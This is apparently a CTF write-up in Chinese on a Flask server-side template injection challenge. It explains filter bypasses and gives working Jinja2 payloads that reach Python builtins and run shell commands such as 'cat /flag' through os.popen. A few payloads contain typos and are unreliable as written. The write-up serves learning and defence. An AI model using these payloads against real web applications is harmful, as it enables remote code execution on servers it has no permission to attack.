0%

[pasecactf_2019]flask_ssti

[pasecactf_2019]flask_ssti

题目本身出的很诡异,flag删了然后源码里面放了一个憨批对称加密函数,加密过的flag放进了config里面,config可以直接看(BUU题目描述上的那个加密函数是错的),过滤了单引号点号下划线
目标是读源码

题解

只过滤了单引号,双引号还能用,python单双引号好像没有什么大的区别,留了一个能用的就行
单双引号全挂了还过滤字符的话就只能用上次DASCTF的凑%c和全数字,然后一个个格式化字符串凑字母表
这里不用太麻烦,直接在双引号里面用十六进制\\x00就能绕过下划线的过滤,点号的过滤用方括号代替,一样能访问属性。
然后随便找个常用payload读文件就能打通。这次的记录主要是重新学习总结了一下SSTI相关的东西,找个机会开一篇文章

总结

__init__.__globals__

过去SSTI的时候大家很喜欢一个叫做catch_warnings的类,就是因为这个类可以使用__init__.__globals__.__builtins__然后随意发挥
__globals__是全局对象,存了很多乱七八糟的对象,其中就有强有力的内置对象__builtins__(python2里是__builtin__)进而拿到eval这类的对象import os再popen一键打通
比如这个payload {}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('ls')
或者{{url_for.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag").read()'')}}
都是通过获取到__globals__后拿到__builtins__,用里面的各种各样的内置方法花式执行

那么为什么大家对catch_warnings情有独钟?问题就出在__globals__的获取上,对于一个函数对象,其直接拥有一个__globals__属性,而类不管是定义还是实例化的对象都不行,由此我们引出__init__

__init__()是一个类的构造函数,因此访问类的__init__属性我们将会直接获得一个函数,如果不存在构造函数就会返回一个wrapper包装器。
使用如下测试代码

class A:
    a = 1
    def __init__(self):
        self.a = 1

class C:
    c = 1

def b():
    return 1

a = A()
c = C()
print(a.__init__)   # <bound method A.__init__ of <__main__.A object at 0x0000027C2C5C44F0>>
print(A.__init__)   # <function A.__init__ at 0x0000027C2C70FEE0>
print(b)            # <function b at 0x0000027C2C70FE50>
print(b.__globals__)# 获取到了globals
print(c.__init__)   # <method-wrapper '__init__' of C object at 0x0000027C2C6B8730>
print(C.__init__)   # <slot wrapper '__init__' of 'object' objects>

可以看到,对拥有构造函数的A类,其类和实例化对象的__init__属性均存在,分别为function和bound method,且都能通过该属性访问到__globals__,而对于不存在构造函数的C类,其__init__变为了两个wrapper,也无法通过这个属性访问到__globals__
所以catch_warnings这么受欢迎大概是其自带了构造函数吧

但是事实上flask有很多内置类也自带构造函数,并且能直接拿来用,而不是''.__class__.xxxxxx这么一长串去找
比如

url_for.__init__
joiner.__init__
config.__class__.__init__    # config是一个config类的实例对象,通过__class__获取到类定义本身再获取init,虽然直接从bound method也能访问到

属性访问和相关绕过

方括号感觉功能性还强于点号。点号只能进行属性的访问,而方括号能访问数组下标和字典键值对,在渲染模板中同样提供了属性访问的功能。
并且方括号里面的属性都是字符串,能够提供各种各样的绕过方法,比如直接\\x00的十六进制,或者是之前”%c”%num这样子的格式化字符串,和方括号类似的还有attr()函数,不过这个函数只能访问属性,功能上和点号差不多,但是访问的属性同样以字符串参数的形式输入,可以进行超级绕过
attr()使用时需要以c|attr(arg1)|attr(arg2)方式使用,效果约等于c.arg1.arg2,用|还能进行各种各样的函数调用,join拼接字符串,urlencode编码,int和string进行类型转换,tolower等,没有参数的话括号可以不填
{%set x="%c"%(1|string,2|string,0|string)|join|int%}

joiner|attr("__init__")|attr(__globlas__)|attr("__getitem__")("__builtins__")|attr("__getitem__")("__import__")("os")|attr("popen")(cmd)
注意attr和点号的功能一致,只支持属性访问,而__globlas____builtins__是字典类型的变量,所以要调用getitem方法进行数据的访问
函数调用的形式也很直接,attr("__getitem__")返回了一个函数对象,在函数对象后面直接加括号和参数进行调用,类似于PHP的动态执行?
attr("__getitem__")("__import__")("os")这里先返回一个__getitem__函数,调用之后返回的__import__也是个函数,再调用,返回了os对象,最后attr("popen")(cmd)返回popen函数执行了命令
SSTI理解逐渐提升。。。